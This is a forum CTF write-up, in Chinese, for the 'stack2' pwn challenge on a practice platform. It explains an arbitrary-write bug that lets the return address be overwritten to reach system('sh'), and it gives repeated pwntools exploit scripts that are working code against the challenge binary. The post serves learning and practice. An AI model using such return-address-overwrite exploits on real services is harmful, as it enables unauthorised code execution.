-
-
[原创][攻防世界]stack2
-
发表于: 2022-2-11 21:55 9155
-
在buuctf刷了两页的pwn,每次做堆利用,加载它配的libc库都失败,我怀疑那个库有问题。郁闷的我就从攻防世界的高手区开始刷了
这道题没什么难的知识点,但还是挺有意思的
程序是给一组数求平均,一开始要输入数字个数和一组数
输入完可以执行5个功能
日常检查
拖到ida, 所有功能在主函数内实现
count有整数溢出漏洞,但后面又卡了99还是没用
优先看可以写内存的功能,先是add number
计数变量j有限制,不能溢出
再看change number,没有对改变数序号限制,可以任意写
此外还有后门函数
可以任意写与后门函数,大体思路就很简单了,直接改写返回地址为后门函数
本来我理所当然的以为offset就是ebp距离+4,但这题并没有这么简单
我们先找到return 0地址0x80488f2
jump to address
最后return的esp,是ecx-4,而ecx是原栈空间[ebp-4]
esp为[ebp-4]-4
接着就得gdb内搜集栈内具体信息,我们断点在进入循环的一步
如图,红紫为[ebp-4], 黄为真正跳转的地址[ebp-4]-4,是__libc_start_main的,正确无误
这句离ebp距离5*4,最终偏移为0x70+20
等等,这题这么容易?远程运行时,靶机表示它不认识/bin/bash!
后门函数看来不能直接用,好在system函数我们是直接有了
pwn最魅(恶)力(心)的地方就是断章取义,各种结尾是sh的串就被我们给断章取义了,这里就是/bin/bash
这里我们可以填返回地址system的plt,由于32位的调用方式,需要加上一个返回地址再加上sh地址
也可以填hackhere内call system地址,再跟上sh地址
两种方式均写在我的payload中
from
pwn
import
*
context.log_level
=
'debug'
io
=
process(
'./stack2'
)
#io = remote('111.200.241.244',60945)
stack_offset
=
0x70
+
20
def
change(offset, num):
io.sendlineafter(
'exit'
,
'3'
)
io.sendlineafter(
'change:'
,
str
(offset
+
stack_offset))
io.sendlineafter(
'number:'
,
str
(num))
io.sendlineafter(
'have:'
,
'0'
)
change(
0
,
0x8b
)
change(
1
,
0x85
)
change(
2
,
0x4
)
change(
3
,
0x8
)
#gdb.attach(io, 'b *0x80488f2')
#gdb.attach(io, 'b *0x8048702')
io.sendlineafter(
'exit'
,
'5'
)
io.interactive()
from
pwn
import
*
context.log_level
=
'debug'
io
=
process(
'./stack2'
)
#io = remote('111.200.241.244',60945)
stack_offset
=
0x70
+
20
def
change(offset, num):
io.sendlineafter(
'exit'
,
'3'
)
io.sendlineafter(
'change:'
,
str
(offset
+
stack_offset))
io.sendlineafter(
'number:'
,
str
(num))
io.sendlineafter(
'have:'
,
'0'
)
change(
0
,
0x8b
)
change(
1
,
0x85
)
change(
2
,
0x4
)
change(
3
,
0x8
)
#gdb.attach(io, 'b *0x80488f2')
#gdb.attach(io, 'b *0x8048702')
io.sendlineafter(
'exit'
,
'5'
)
io.interactive()
from
pwn
import
*
context.log_level
=
'debug'
io
=
process(
'./stack2'
)
#io = remote('111.200.241.244',60945)
stack_offset
=
0x70
+
20
def
change(offset, num):
io.sendlineafter(
'exit'
,
'3'
)
io.sendlineafter(
'change:'
,
str
(offset
+
stack_offset))
io.sendlineafter(
'number:'
,
str
(num))
io.sendlineafter(
'have:'
,
'0'
)
#return to call system
change(
0
,
0xb4
)
change(
1
,
0x85
)
change(
2
,
0x4
)
change(
3
,
0x8
)
#replace pushing the addr of 'sh'
change(
4
,
0x87
)
change(
5
,
0x89
)
change(
6
,
0x4
)
change(
7
,
0x8
)
'''
#return to system_plt
change(0, 0x50)
change(1, 0x84)
change(2, 0x4)
change(3, 0x8)
#因为任意写,返回地址不想写可以不写,空4个
change(8, 0x87)
change(9, 0x89)
change(10, 0x4)
change(11, 0x8)
'''
#gdb.attach(io, 'b *0x80488f2')
#gdb.attach(io, 'b *0x8048702')
io.sendlineafter(
'exit'
,
'5'
)
io.interactive()
from
pwn
import
*
context.log_level
=
'debug'
io
=
process(
'./stack2'
)
#io = remote('111.200.241.244',60945)
stack_offset
=
0x70
+
20
赞赏记录
参与人
雪币
留言
时间
伟叔叔
为你点赞~
2023-3-18 04:06
一笑人间万事
为你点赞~
2023-1-12 19:56
朽_木
为你点赞~
2022-4-17 00:03
赞赏
他的文章
- [原创][GoogleCTF]MADCORE 13892
- [starctf]examination writeup 7643
- [分享]2月刷pwn题的知识点总结 9356
- [原创][基础知识]ctfpwn题修改libc库为要求的题目 19887
- [原创][攻防世界]stack2 9156
看原图
赞赏
雪币:
留言: